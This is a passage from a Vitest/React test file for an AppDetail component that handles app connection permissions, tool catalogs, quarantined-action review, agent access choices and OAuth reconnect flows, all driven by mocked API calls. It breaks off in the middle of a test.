// @vitest-environment jsdom import { flushSync } from "react-dom"; import type { ReactNode } from "react"; import { createRoot } from "react-dom/client"; import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { AppDetail } from "./AppDetail"; import { APP_TABS } from "./app-tabs"; const getConnectionMock = vi.hoisted(() => vi.fn()); const getConnectionInstallsMock = vi.hoisted(() => vi.fn()); const listApplicationsMock = vi.hoisted(() => vi.fn()); const listGalleryMock = vi.hoisted(() => vi.fn()); const listConnectionsMock = vi.hoisted(() => vi.fn()); const listCatalogMock = vi.hoisted(() => vi.fn()); const listProfilesMock = vi.hoisted(() => vi.fn()); const listPoliciesMock = vi.hoisted(() => vi.fn()); const listConnectionActivityMock = vi.hoisted(() => vi.fn()); const listActionRequestsMock = vi.hoisted(() => vi.fn()); const listTestAgentsMock = vi.hoisted(() => vi.fn()); const getTestAgentAccessMock = vi.hoisted(() => vi.fn()); const updateConnectionMock = vi.hoisted(() => vi.fn()); const finishAppMock = vi.hoisted(() => vi.fn()); const finalizeOAuthAccessMock = vi.hoisted(() => vi.fn()); const putConnectionInstallsMock = vi.hoisted(() => vi.fn()); const refreshCatalogMock = vi.hoisted(() => vi.fn()); const startOAuthMock = vi.hoisted(() => vi.fn()); const listConnectionGrantsMock = vi.hoisted(() => vi.fn()); const revokeConnectionGrantMock = vi.hoisted(() => vi.fn()); const createConnectionGrantDelegationMock = vi.hoisted(() => vi.fn()); const revokeConnectionGrantDelegationMock = vi.hoisted(() => vi.fn()); const replaceConnectionGrantMembersMock = vi.hoisted(() => vi.fn()); const startPersonalAuthorizationMock = vi.hoisted(() => vi.fn()); const listUserDirectoryMock = vi.hoisted(() => vi.fn()); const getSessionMock = vi.hoisted(() => vi.fn()); const mockNavigate = vi.hoisted(() => vi.fn()); const mockParams = vi.hoisted(() => ({ connectionId: "conn-1", tab: "permissions" as string | undefined })); const mockSearchParams = vi.hoisted(() => ({ value: new URLSearchParams() })); const navigateComponentMock = vi.hoisted(() => vi.fn()); const navigateTopLevelMock = vi.hoisted(() => vi.fn()); vi.mock("@/api/tools", () => ({ toolsApi: { getConnection: (connectionId: string) => getConnectionMock(connectionId), getConnectionInstalls: (connectionId: string) => getConnectionInstallsMock(connectionId), listApplications: (companyId: string) => listApplicationsMock(companyId), listGallery: (companyId: string) => listGalleryMock(companyId), listConnections: (companyId: string) => listConnectionsMock(companyId), listCatalog: (connectionId: string) => listCatalogMock(connectionId), listProfiles: (companyId: string) => listProfilesMock(companyId), listPolicies: (companyId: string) => listPoliciesMock(companyId), listConnectionActivity: (connectionId: string, limit: number) => listConnectionActivityMock(connectionId, limit), listActionRequests: (companyId: string, status: string) => listActionRequestsMock(companyId, status), listTestAgents: (connectionId: string) => listTestAgentsMock(connectionId), getTestAgentAccess: (connectionId: string, agentId: string) => getTestAgentAccessMock(connectionId, agentId), updateConnection: (connectionId: string, input: unknown) => updateConnectionMock(connectionId, input), finishApp: (companyId: string, connectionId: string, input: unknown) => finishAppMock(companyId, connectionId, input), finalizeOAuthAccess: (companyId: string, connectionId: string, input: unknown) => finalizeOAuthAccessMock(companyId, connectionId, input), putConnectionInstalls: (connectionId: string, installs: unknown) => putConnectionInstallsMock(connectionId, installs), archiveConnection: vi.fn(), refreshCatalog: (connectionId: string) => refreshCatalogMock(connectionId), startOAuth: (connectionId: string, input?: unknown) => input === undefined ? startOAuthMock(connectionId) : startOAuthMock(connectionId, input), listConnectionGrants: (connectionId: string) => listConnectionGrantsMock(connectionId), revokeConnectionGrant: (connectionId: string, grantId: string) => revokeConnectionGrantMock(connectionId, grantId), createConnectionGrantDelegation: (connectionId: string, grantId: string, agentId: string) => createConnectionGrantDelegationMock(connectionId, grantId, agentId), revokeConnectionGrantDelegation: ( connectionId: string, grantId: string, delegationId: string, ) => revokeConnectionGrantDelegationMock(connectionId, grantId, delegationId), replaceConnectionGrantMembers: (connectionId: string, grantId: string, memberUserIds: string[]) => replaceConnectionGrantMembersMock(connectionId, grantId, memberUserIds), startPersonalAuthorization: (companyId: string, connectionId: string, input: unknown) => startPersonalAuthorizationMock(companyId, connectionId, input), reconnectConnection: vi.fn(), }, })); vi.mock("./AppLogo", () => ({ AppLogo: ({ name, brandKey, logoUrl, allowRemoteFallback, }: { name: string; brandKey?: string | null; logoUrl?: string | null; allowRemoteFallback?: boolean; }) => ( ), })); vi.mock("@/api/access", () => ({ accessApi: { listUserDirectory: (companyId: string) => listUserDirectoryMock(companyId), }, })); vi.mock("@/api/auth", () => ({ authApi: { getSession: () => getSessionMock(), }, })); vi.mock("@/api/agents", () => ({ agentsApi: { list: vi.fn().mockResolvedValue([ { id: "agent-1", name: "Coder", title: "Engineer", status: "active" }, ]), }, })); vi.mock("@/lib/browserNavigation", () => ({ navigateTopLevel: (target: string) => navigateTopLevelMock(target), })); vi.mock("@/lib/router", () => ({ useParams: () => mockParams, useNavigate: () => mockNavigate, useSearchParams: () => [mockSearchParams.value, vi.fn()], Navigate: ({ to, replace }: { to: string; replace?: boolean }) => { navigateComponentMock({ to, replace }); return
; }, Link: ({ to, children, ...props }: { to: string; children: ReactNode }) => ( {children} ), })); vi.mock("@/context/CompanyContext", () => ({ useCompany: () => ({ selectedCompanyId: "company-1", selectedCompany: { id: "company-1", name: "Paperclip" }, }), })); vi.mock("@/context/BreadcrumbContext", () => ({ useBreadcrumbs: () => ({ setBreadcrumbs: vi.fn() }), })); const pushToastMock = vi.hoisted(() => vi.fn()); vi.mock("@/context/ToastContext", () => ({ useToast: () => ({ pushToast: pushToastMock }), })); // eslint-disable-next-line @typescript-eslint/no-explicit-any (globalThis as any).IS_REACT_ACT_ENVIRONMENT = true; async function act(callback: () => void | Promise) { let result: void | Promise = undefined; flushSync(() => { result = callback(); }); await result; } async function flushReact() { for (let i = 0; i < 3; i += 1) { await act(async () => { await Promise.resolve(); await new Promise((resolve) => window.setTimeout(resolve, 0)); }); } } function connection(overrides: Record = {}) { return { id: "conn-1", companyId: "company-1", applicationId: "app-1", name: "GitHub", connectionKind: "managed", transport: "mcp_remote", status: "active", transportConfig: { url: "https://github.example/mcp" }, config: { url: "https://github.example/mcp" }, credentialSecretRefs: [], credentialRefs: [], healthStatus: "healthy", healthCheckedAt: null, lastError: null, enabled: true, lastUsedAt: null, createdByAgentId: null, createdByUserId: null, createdAt: new Date("2026-01-01T00:00:00Z"), updatedAt: new Date("2026-01-01T00:00:00Z"), ...overrides, }; } /** A member who may configure this connection and edit every agent. */ function fullCapabilities(overrides: Record = {}) { return { canConfigure: true, canCreateOrganizationGrant: true, canSetCompanyInstall: true, canConnectAsCurrentUser: true, canManageAgentInstalls: true, canViewOtherPersonalIdentities: false, editableAgentIds: ["agent-1", "agent-2"], ...overrides, }; } function organizationGrant(overrides: Record = {}) { return { id: "grant-org", companyId: "company-1", connectionId: "conn-1", kind: "organization", subjectUserId: null, providerTenant: { name: "Notion workspace" }, credentialSecretRefs: [], status: "active", isDefault: true, createdByAgentId: null, createdByUserId: "user-1", revokedAt: null, revokedByAgentId: null, revokedByUserId: null, lastUsedAt: null, createdAt: new Date("2026-01-01T00:00:00Z"), updatedAt: new Date("2026-01-01T00:00:00Z"), members: [], capabilities: { canRevoke: true, canEditAudience: true }, ...overrides, }; } function personalGrant(overrides: Record = {}) { return { ...organizationGrant(), id: "grant-user", kind: "user", subjectUserId: "user-1", providerTenant: null, isDefault: false, capabilities: { canRevoke: true, canEditAudience: false }, ...overrides, }; } function catalogEntry(overrides: Record = {}) { return { id: "catalog-read", companyId: "company-1", connectionId: "conn-1", toolName: "read_repo", title: "Read repo", description: "Read repository metadata", status: "active", isReadOnly: true, riskLevel: "read", createdAt: new Date("2026-01-01T00:00:00Z"), updatedAt: new Date("2026-01-01T00:00:00Z"), ...overrides, }; } function setInputValue(input: HTMLInputElement, value: string) { const setter = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, "value", )?.set; setter?.call(input, value); input.dispatchEvent(new Event("input", { bubbles: true })); } describe("AppDetail", () => { let container: HTMLDivElement; let root: ReturnType; beforeEach(() => { container = document.createElement("div"); document.body.appendChild(container); mockParams.connectionId = "conn-1"; mockParams.tab = "permissions"; mockSearchParams.value = new URLSearchParams(); getConnectionMock.mockResolvedValue(connection()); getConnectionInstallsMock.mockResolvedValue({ connectionId: "conn-1", installs: [] }); listApplicationsMock.mockResolvedValue({ applications: [{ id: "app-1", applicationKey: "github", name: "GitHub", status: "active" }], }); listConnectionsMock.mockResolvedValue({ connections: [] }); listConnectionGrantsMock.mockResolvedValue({ connection: { id: "conn-1", uid: "conn-1" }, grants: [], capabilities: fullCapabilities(), currentUserId: "user-1", members: [], }); listGalleryMock.mockResolvedValue({ apps: [ { key: "github", name: "GitHub", logoUrl: "https://example.com/github.png", tagline: "GitHub tagline", description: "Give agents a governed way to inspect repositories and pull requests.", authKind: "api_key", transportTemplate: { transport: "mcp_remote", url: "https://github.example/mcp" }, credentialFields: [], recommendedDefaults: {}, urlPatterns: [], }, ], }); listCatalogMock.mockResolvedValue({ catalog: [ catalogEntry(), catalogEntry({ id: "catalog-write", toolName: "write_issue", title: "Write issue", description: "Create or update an issue", isReadOnly: false, }), catalogEntry({ id: "catalog-quarantined", toolName: "delete_repo", title: "Delete repo", status: "quarantined", isReadOnly: false, }), ], }); listProfilesMock.mockResolvedValue({ profiles: [ { profileKey: "app:conn-1", entries: [ { effect: "include", catalogEntryId: "catalog-read" }, { effect: "include", catalogEntryId: "catalog-write" }, ], bindings: [{ targetType: "company" }], }, ], }); listPoliciesMock.mockResolvedValue({ policies: [ { policyType: "require_approval", enabled: true, config: { source: "app_gallery_finish", connectionId: "conn-1", catalogEntryId: "catalog-write", }, }, ], }); listConnectionActivityMock.mockResolvedValue({ events: [], issues: {}, actionRequests: {} }); listActionRequestsMock.mockResolvedValue({ actionRequests: [] }); listTestAgentsMock.mockResolvedValue({ agents: [] }); updateConnectionMock.mockResolvedValue(connection({ enabled: false })); finishAppMock.mockResolvedValue({}); finalizeOAuthAccessMock.mockResolvedValue({}); putConnectionInstallsMock.mockResolvedValue({ connectionId: "conn-1", installs: [] }); refreshCatalogMock.mockResolvedValue({ discoveredCount: 0, quarantinedCount: 0, catalog: [] }); startOAuthMock.mockResolvedValue({ connectionId: "conn-1", provider: "smoke_lab", authorizationUrl: "https://example.test/oauth", expiresAt: "2026-07-10T00:00:00.000Z", }); createConnectionGrantDelegationMock.mockResolvedValue({ id: "delegation-1", grantId: "grant-user", agentId: "agent-1", }); revokeConnectionGrantDelegationMock.mockResolvedValue({}); listUserDirectoryMock.mockResolvedValue({ users: [] }); getSessionMock.mockResolvedValue({ user: { id: "user-1", name: "Dotta", image: null }, session: { userId: "user-1" }, }); }); afterEach(() => { flushSync(() => root?.unmount()); container.remove(); vi.restoreAllMocks(); vi.clearAllMocks(); }); async function renderAppDetail() { const client = new QueryClient({ defaultOptions: { queries: { retry: false } } }); root = createRoot(container); await act(async () => { root.render( , ); }); await flushReact(); } it("uses Permissions as the primary connection page and has no Setup tab", () => { expect(APP_TABS.map((tab) => tab.key)).toEqual([ "permissions", "services", "review", ]); }); it("allows the gallery logo fallback after application identity lookup fails", async () => { listApplicationsMock.mockRejectedValueOnce(new Error("Application lookup unavailable")); await renderAppDetail(); expect(container.querySelector("[data-app-logo]")?.getAttribute("data-allow-remote-fallback")).toBe("true"); }); it("keeps a customized connection logo after application identity lookup fails", async () => { getConnectionMock.mockResolvedValue(connection({ name: "Dotta's source control", config: { url: "https://github.example/mcp", sourceTemplateKey: "github", }, })); listApplicationsMock.mockRejectedValueOnce(new Error("Application lookup unavailable")); await renderAppDetail(); const logo = container.querySelector("[data-app-logo]"); expect(logo?.getAttribute("data-brand-key")).toBe("github"); expect(logo?.getAttribute("data-logo-url")).toBe("https://example.com/github.png"); expect(logo?.getAttribute("data-allow-remote-fallback")).toBe("true"); }); it("keeps the unverified-server marker on URL-only connection details", async () => { getConnectionMock.mockResolvedValue( connection({ name: "127.0.0.1", config: { url: "http://127.0.0.1:8848/mcp" }, transportConfig: { url: "http://127.0.0.1:8848/mcp" }, }), ); await renderAppDetail(); expect(container.textContent).toContain("Custom app"); expect(container.textContent).toContain("hosted at 127.0.0.1"); expect(container.textContent).toContain("Unverified server"); expect(container.textContent).toContain("127.0.0.1:8848"); }); it("redirects a missing tab to Permissions", async () => { mockParams.tab = undefined; await renderAppDetail(); expect(navigateComponentMock).toHaveBeenCalledWith({ to: "/apps/conn-1/permissions", replace: true }); }); it.each([ ["review", "Review 1 new action"], ["permissions", "Which agents can use this connection?"], ])("renders the %s tab panel", async (tab, expectedText) => { mockParams.tab = tab; await renderAppDetail(); expect(container.textContent).toContain("GitHub"); expect(container.textContent).toContain("2 actions available"); expect(container.textContent).toContain(expectedText); expect(container.textContent).not.toContain("Setup"); expect(container.querySelector("section.bg-card")).toBeNull(); }); it("counts only active catalog entries as available actions", async () => { mockParams.tab = "permissions"; listCatalogMock.mockResolvedValue({ catalog: [ catalogEntry(), catalogEntry({ id: "catalog-disabled", toolName: "disabled_action", status: "disabled" }), catalogEntry({ id: "catalog-quarantined", toolName: "pending_action", status: "quarantined" }), catalogEntry({ id: "catalog-removed", toolName: "removed_action", status: "removed" }), ], }); await renderAppDetail(); expect(container.textContent).toContain("1 action available"); expect(container.textContent).not.toContain("2 actions available"); }); it.each(["setup", "advanced"])("redirects the retired %s route to Permissions", async (tab) => { mockParams.tab = tab; await renderAppDetail(); expect(navigateComponentMock).toHaveBeenCalledWith({ to: "/apps/conn-1/permissions", replace: true, }); }); it("shows an explicit lazy-loading state while a tool tab discovers actions", async () => { mockParams.tab = "permissions"; listCatalogMock.mockImplementation(() => new Promise(() => undefined)); await renderAppDetail(); expect(container.textContent).toContain("GitHub"); expect(container.textContent).toContain("Loading tools…"); expect(container.textContent).not.toContain("Action permissions"); }); it("redirects the retired Test tab into Permissions", async () => { mockParams.tab = "test"; await renderAppDetail(); expect(navigateComponentMock).toHaveBeenCalledWith({ to: "/apps/conn-1/permissions", replace: true }); }); it("confirms a successful connection on Permissions and clears the one-time URL flag", async () => { mockParams.tab = "permissions"; mockSearchParams.value = new URLSearchParams("success=1"); await renderAppDetail(); expect(pushToastMock).toHaveBeenCalledWith({ title: "GitHub connected", body: "The connection is ready. Review permissions or test an action below.", tone: "success", }); expect(mockNavigate).toHaveBeenCalledWith("/apps/conn-1/permissions", { replace: true }); }); it("normalizes the retired post-OAuth Setup URL into Permissions", async () => { mockParams.tab = "setup"; mockSearchParams.value = new URLSearchParams("oauth=choose-access"); getConnectionMock.mockResolvedValue(connection({ name: "Notion", authKind: "oauth", credentialPolicy: "per_user", config: { sourceTemplateKey: "notion" }, })); await renderAppDetail(); expect(navigateComponentMock).toHaveBeenCalledWith({ to: "/apps/conn-1/permissions?oauth=choose-access", replace: true, }); expect(finalizeOAuthAccessMock).not.toHaveBeenCalled(); }); it("reviews quarantined actions as one toggle list and saves allowed and blocked choices together", async () => { mockParams.tab = "review"; listCatalogMock.mockResolvedValue({ catalog: [ catalogEntry(), catalogEntry({ id: "catalog-write", toolName: "write_issue", title: "Write issue", isReadOnly: false, }), catalogEntry({ id: "catalog-quarantined-allow", toolName: "delete_repo", title: "Delete repo", status: "quarantined", isReadOnly: false, }), catalogEntry({ id: "catalog-quarantined-block", toolName: "archive_repo", title: "Archive repo", status: "quarantined", isReadOnly: false, }), ], }); await renderAppDetail(); expect(container.textContent).toContain("Review 2 new actions"); expect(container.textContent).toContain("Delete repo"); expect(container.textContent).toContain("Archive repo"); expect(container.textContent).not.toContain("Nothing is waiting for your OK right now."); const allowToggle = container.querySelector( 'button[role="switch"][aria-label="Delete repo allowed"]', ); expect(allowToggle?.getAttribute("aria-checked")).toBe("false"); await act(async () => { allowToggle?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); await act(async () => { Array.from(container.querySelectorAll("button")) .find((button) => button.textContent?.trim() === "Save choices") ?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", { enabledCatalogEntryIds: expect.arrayContaining([ "catalog-read", "catalog-write", "catalog-quarantined-allow", ]), askFirstCatalogEntryIds: ["catalog-write"], reviewedCatalogEntryIds: expect.arrayContaining([ "catalog-quarantined-allow", "catalog-quarantined-block", ]), access: "all_agents", }); const finishInput = finishAppMock.mock.calls.at(-1)?.[2] as { enabledCatalogEntryIds: string[] }; expect(finishInput.enabledCatalogEntryIds).not.toContain("catalog-quarantined-block"); }); it("shows the Smoke OAuth connection action for the installed HTTP fixture", async () => { getConnectionMock.mockResolvedValue(connection({ name: "Smoke Lab HTTP MCP fixture", config: { smokeLabFixture: "oauth-http", oauth: { provider: "smoke_lab", smokeLabFixture: true, scopes: ["smoke:openid"], }, }, })); await renderAppDetail(); // The old generic "Connect with " block is gone: the connection's // fixed identity type is explicit even before that identity is connected. expect(container.textContent).toContain("Which humans can use this credential?"); expect(container.textContent).toContain("Anyone in your company can use this connection"); expect(container.textContent).toContain("Organization identity"); expect(container.textContent).toContain("Not connected"); expect( Array.from(container.querySelectorAll("button")).some( (button) => button.textContent?.trim() === "Connect organization identity", ), ).toBe(true); }); it("keeps reconnect off a healthy Notion permissions page", async () => { getConnectionMock.mockResolvedValue(connection({ name: "Notion", createdByUserId: "user-1", config: { sourceTemplateKey: "notion", oauth: { provider: "notion", connectedAt: "2026-08-06T20:00:00.000Z", }, }, })); listGalleryMock.mockResolvedValue({ apps: [{ key: "notion", name: "Notion", logoUrl: "https://example.com/notion.png", tagline: "Search and update your Notion workspace.", description: "Give agents governed access to Notion.", authKind: "oauth", transportTemplate: { transport: "mcp_remote", url: "https://mcp.notion.com/mcp" }, credentialFields: [], recommendedDefaults: {}, urlPatterns: [], }], }); listUserDirectoryMock.mockResolvedValue({ users: [{ principalId: "user-1", status: "active", user: { id: "user-1", name: "Dotta", email: "dotta@example.com", image: "https://example.com/dotta.png", }, }], }); listConnectionGrantsMock.mockResolvedValue({ connection: { id: "conn-1", uid: "conn-1" }, grants: [organizationGrant()], capabilities: fullCapabilities(), currentUserId: "user-1", members: [], }); await renderAppDetail(); expect(container.textContent).toContain("Dotta’s Notion"); expect(container.textContent).not.toContain("Connected by"); expect(container.textContent).toContain("Anyone in your company can use this connection"); expect(container.textContent).not.toContain("workspace authorization"); expect(findButton("Reconnect")).toBeUndefined(); expect(findButton("Danger zone")).toBeUndefined(); }); it("renders searchable action groups with three-way permission toggles", async () => { mockParams.tab = "permissions"; await renderAppDetail(); expect(container.textContent).toContain("Read (1)"); expect(container.textContent).toContain("Write (1)"); expect(container.textContent).toContain("Read repo"); expect(container.textContent).toContain("Write issue"); expect(container.textContent).toContain("Review 1 new action"); expect(container.querySelector('input[aria-label="Find an action"]')).toBeTruthy(); expect(container.querySelector('button[aria-label="Read repo: Allowed"]')?.getAttribute("aria-checked")).toBe("true"); expect(container.querySelector('button[aria-label="Write issue: Ask first"]')?.getAttribute("aria-checked")).toBe("true"); expect(Array.from(container.querySelectorAll("button")).filter((button) => button.textContent?.trim() === "Test")).toHaveLength(2); expect(container.textContent).not.toContain("Views data without changing it."); expect(container.textContent).not.toContain("Creates or changes data."); expect(container.querySelector("section.bg-card")).toBeNull(); }); it("opens an action test modal with agent selection, inputs, and result-ready chrome", async () => { mockParams.tab = "permissions"; listTestAgentsMock.mockResolvedValue({ agents: [{ id: "agent-1", name: "Coder", role: "engineer", title: "Engineer", status: "active", orgDepth: 1, }], }); getTestAgentAccessMock.mockResolvedValue({ access: { connectionId: "conn-1", toolCount: 2, allowedCount: 1, askFirstCount: 1, offCount: 0, lastChangedAt: null, lastChangedByAgentId: null, lastChangedByName: null, tools: [ { toolName: "read_repo", gatewayToolName: "github__read_repo", displayName: "Read repo", risk: "read", decision: "allowed", reasonCode: null, matchedPolicyIds: [], }, ], }, }); await renderAppDetail(); const testButton = Array.from(container.querySelectorAll("button")) .find((button) => button.textContent?.trim() === "Test"); await act(async () => { testButton?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); const dialog = document.body.querySelector('[role="dialog"]'); expect(dialog?.textContent).toContain("Test Read repo"); expect(dialog?.textContent).toContain("Act as"); expect(dialog?.textContent).toContain("Coder"); expect(dialog?.textContent).toContain("This action takes no inputs."); expect(dialog?.textContent).toContain("Run"); }); it("persists ask-first for read-only actions from the three-way toggle", async () => { mockParams.tab = "permissions"; await renderAppDetail(); const askFirst = container.querySelector('button[aria-label="Read repo: Ask first"]'); expect(askFirst).toBeTruthy(); await act(async () => { askFirst!.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", { enabledCatalogEntryIds: expect.arrayContaining(["catalog-read", "catalog-write"]), askFirstCatalogEntryIds: expect.arrayContaining(["catalog-read", "catalog-write"]), access: "all_agents", }); }); it("persists off by removing an action from enabled and ask-first sets", async () => { mockParams.tab = "permissions"; await renderAppDetail(); const off = container.querySelector('button[aria-label="Write issue: Off"]'); expect(off).toBeTruthy(); await act(async () => { off!.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", { enabledCatalogEntryIds: ["catalog-read"], askFirstCatalogEntryIds: [], access: "all_agents", }); }); it("removes the separate always-installed controls from Permissions", async () => { mockParams.tab = "permissions"; await renderAppDetail(); expect(container.textContent).toContain("Which agents can use this connection?"); expect(container.textContent).not.toContain("Always installed"); expect(putConnectionInstallsMock).not.toHaveBeenCalled(); }); it("persists agent access independently from always-installed agents", async () => { mockParams.tab = "permissions"; listProfilesMock.mockResolvedValue({ profiles: [{ profileKey: "app:conn-1", entries: [ { effect: "include", catalogEntryId: "catalog-read" }, { effect: "include", catalogEntryId: "catalog-write" }, ], bindings: [{ targetType: "agent", targetId: "agent-1" }], }], }); await renderAppDetail(); const accessGroup = container.querySelector('[role="radiogroup"][aria-label="Which agents can use this connection"]'); const anyAgent = Array.from(accessGroup?.querySelectorAll('[role="radio"]') ?? []) .find((radio) => radio.textContent?.includes("Any agent")); expect(anyAgent).toBeTruthy(); await act(async () => { anyAgent?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", { enabledCatalogEntryIds: ["catalog-read", "catalog-write"], askFirstCatalogEntryIds: ["catalog-write"], access: "all_agents", }); expect(putConnectionInstallsMock).not.toHaveBeenCalled(); }); it("keeps always-installed agents in the access allowlist", async () => { mockParams.tab = "permissions"; getConnectionInstallsMock.mockResolvedValue({ connectionId: "conn-1", installs: [{ id: "install-agent-1", companyId: "company-1", connectionId: "conn-1", targetType: "agent", targetId: "agent-1", createdByAgentId: null, createdByUserId: "user-1", createdAt: new Date(), }], }); await renderAppDetail(); const accessGroup = container.querySelector('[role="radiogroup"][aria-label="Which agents can use this connection"]'); const pickedAgents = Array.from(accessGroup?.querySelectorAll('[role="radio"]') ?? []) .find((radio) => radio.textContent?.includes("Just agents I pick")); await act(async () => { pickedAgents?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", { enabledCatalogEntryIds: ["catalog-read", "catalog-write"], askFirstCatalogEntryIds: ["catalog-write"], access: { agentIds: ["agent-1"] }, }); }); it("uses the setup-style agent access question without install terminology", async () => { mockParams.tab = "permissions"; listProfilesMock.mockResolvedValue({ profiles: [{ profileKey: "app:conn-1", entries: [ { effect: "include", catalogEntryId: "catalog-read" }, { effect: "include", catalogEntryId: "catalog-write" }, ], bindings: [{ targetType: "agent", targetId: "agent-1" }], }], }); await renderAppDetail(); expect(container.textContent).toContain("Which agents can use this connection?"); expect(container.textContent).toContain("Just agents I pick"); expect(container.textContent).toContain("Any agent"); expect(container.textContent).not.toContain("Always installed"); expect(container.querySelector('button[aria-label="Remove Coder access"]')).toBeNull(); expect( Array.from(container.querySelectorAll("button")).filter( (button) => button.textContent?.trim() === "Change", ), ).toHaveLength(0); }); /** * Viewer rule D4: a policy-forbidden action is omitted, not disabled. The * viewer still sees the whole state — which agents have it, what each action * is allowed to do — with nothing to press. */ it("gives a viewer a read-only Permissions tab with no mutation affordances", async () => { mockParams.tab = "permissions"; listConnectionGrantsMock.mockResolvedValue({ connection: { id: "conn-1", uid: "conn-uid-1" }, grants: [], currentUserId: "user-1", members: [], capabilities: fullCapabilities({ canConfigure: false, canManageAgentInstalls: false, canSetCompanyInstall: false, canConnectAsCurrentUser: false, editableAgentIds: [], }), }); await renderAppDetail(); // State is still legible. expect(container.textContent).toContain("Which agents can use this connection?"); expect(container.textContent).toContain("Actions"); expect(container.textContent).toContain("Read repo"); // Nothing to mutate: no radios, no permission selects, no refresh, no save. expect(container.querySelector('[role="radiogroup"][aria-label="Which agents can use this connection"]')).toBeNull(); expect(container.querySelector('[role="radiogroup"][aria-label="Read repo permission"]')).toBeNull(); expect(container.querySelectorAll("select").length).toBe(0); const labels = Array.from(container.querySelectorAll("button")).map((b) => b.textContent?.trim()); for (const forbidden of ["Change", "Save", "Refresh actions", "Choose agents"]) { expect(labels).not.toContain(forbidden); } }); it("redirects legacy connection activity to the filtered company Audit feed", async () => { mockParams.tab = "activity"; listConnectionActivityMock.mockResolvedValue({ events: [ { id: "evt-1", eventType: "call_completed", agentId: "agent-1", issueId: "issue-1", actionRequestId: null, toolName: "Get value", outcome: "success", createdAt: new Date("2026-06-12T10:00:00Z"), }, { id: "evt-2", eventType: "approval_resolved", agentId: "agent-1", issueId: "issue-1", actionRequestId: "request-1", toolName: "Mark done", outcome: "success", createdAt: new Date("2026-06-12T10:01:00Z"), }, ], issues: { "issue-1": { identifier: "PAP-10912", title: "Fix app connection copy" }, }, actionRequests: { "request-1": { status: "approved", resolverDisplayName: "Dotta", resolvedByAgentId: null, resolvedByUserId: "board-user", }, }, }); await renderAppDetail(); expect(navigateComponentMock).toHaveBeenCalledWith({ to: "/activity?action=tool_", replace: true, }); }); it("removes the per-connection activity surface", async () => { mockParams.tab = "activity"; listConnectionActivityMock.mockResolvedValue({ events: [ { id: "evt-1", eventType: "call_completed", agentId: "agent-1", issueId: null, actionRequestId: null, toolName: "mcp.app-gallery-link-ccad39e8-6798a369:kv-set", outcome: "success", createdAt: new Date("2026-06-12T10:00:00Z"), }, ], issues: {}, actionRequests: {}, }); await renderAppDetail(); expect(container.textContent).toBe(""); expect(navigateComponentMock).toHaveBeenCalledWith({ to: "/activity?action=tool_", replace: true, }); }); it("redirects lifecycle history to the same Audit destination", async () => { mockParams.tab = "activity"; listConnectionActivityMock.mockResolvedValue({ events: [ { id: "evt-1", eventType: "call_completed", agentId: "agent-1", issueId: null, actionRequestId: null, toolName: "Get value", outcome: "success", createdAt: new Date("2026-06-12T10:30:00Z"), }, ], lifecycleEvents: [ { id: "life-connected", connectionId: "conn-1", type: "app_connected", actorType: "user", actorId: "board-user", agentId: null, actorDisplayName: "Dotta", details: null, createdAt: new Date("2026-06-12T09:00:00Z"), }, { id: "life-paused", connectionId: "conn-1", type: "app_paused", actorType: "user", actorId: "board-user", agentId: null, actorDisplayName: "Dotta", details: { enabled: false }, createdAt: new Date("2026-06-12T11:00:00Z"), }, { id: "life-allowlist", connectionId: "conn-1", type: "allowlist_changed", actorType: "user", actorId: "board-user", agentId: null, actorDisplayName: "Dotta", details: { added: 1, removed: 0, total: 2 }, createdAt: new Date("2026-06-12T10:45:00Z"), }, { id: "life-quarantine", connectionId: "conn-1", type: "actions_quarantined", actorType: "system", actorId: null, agentId: null, actorDisplayName: null, details: { count: 2 }, createdAt: new Date("2026-06-12T10:50:00Z"), }, ], issues: {}, actionRequests: {}, }); await renderAppDetail(); expect(navigateComponentMock).toHaveBeenCalledWith({ to: "/activity?action=tool_", replace: true, }); }); it("keeps the header and reconnect banner across tabs", async () => { mockParams.tab = "permissions"; getConnectionMock.mockResolvedValue(connection({ healthStatus: "degraded", healthMessage: "Token expired.", })); await renderAppDetail(); expect(container.textContent).toContain("GitHub"); expect(container.textContent).toContain("Needs attention"); expect(container.textContent).toContain("This app needs reconnecting"); expect(container.textContent).toContain("Token expired."); expect(container.textContent).toContain("Which agents can use this connection?"); }); it("shows terminal OAuth failures as reconnect-required sign-in", async () => { mockParams.tab = "permissions"; getConnectionMock.mockResolvedValue(connection({ authKind: "oauth", healthStatus: "failed", healthMessage: "Authorization expired (invalid_grant).", })); await renderAppDetail(); expect(container.textContent).toContain("Reconnect required"); expect(container.textContent).toContain("Authorization expired (invalid_grant)."); expect(container.querySelector('input[placeholder="Paste your new key"]')).toBeNull(); await act(async () => { Array.from(container.querySelectorAll("button")) .find((button) => button.textContent?.trim() === "Reconnect") ?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); expect(startOAuthMock).toHaveBeenCalledWith("conn-1"); expect(navigateTopLevelMock).toHaveBeenCalledWith("https://example.test/oauth"); }); it("reconnects an OAuth warning through the connection's existing personal identity", async () => { mockParams.tab = "permissions"; getConnectionMock.mockResolvedValue(connection({ authKind: "oauth", credentialPolicy: "per_user", createdByUserId: "user-1", healthStatus: "failed", healthMessage: "Authorization expired (invalid_grant).", })); await renderAppDetail(); await act(async () => { Array.from(container.querySelectorAll("button")) .find((button) => button.textContent?.trim() === "Reconnect") ?.dispatchEvent(new MouseEvent("click", { bubbles: true })); }); await flushReact(); expect(startOAuthMock).toHaveBeenCalledWith("conn-1", { asCurrentUser: true }); expect(navigateTopLevelMock).toHaveBeenCalledWith("https://example.test/oauth"); }); it("does not offer a personal reconnect to someone other than its fixed owner", async () => { mockParams.tab = "permissions"; getConnectionMock.mockResolvedValue(connection({ 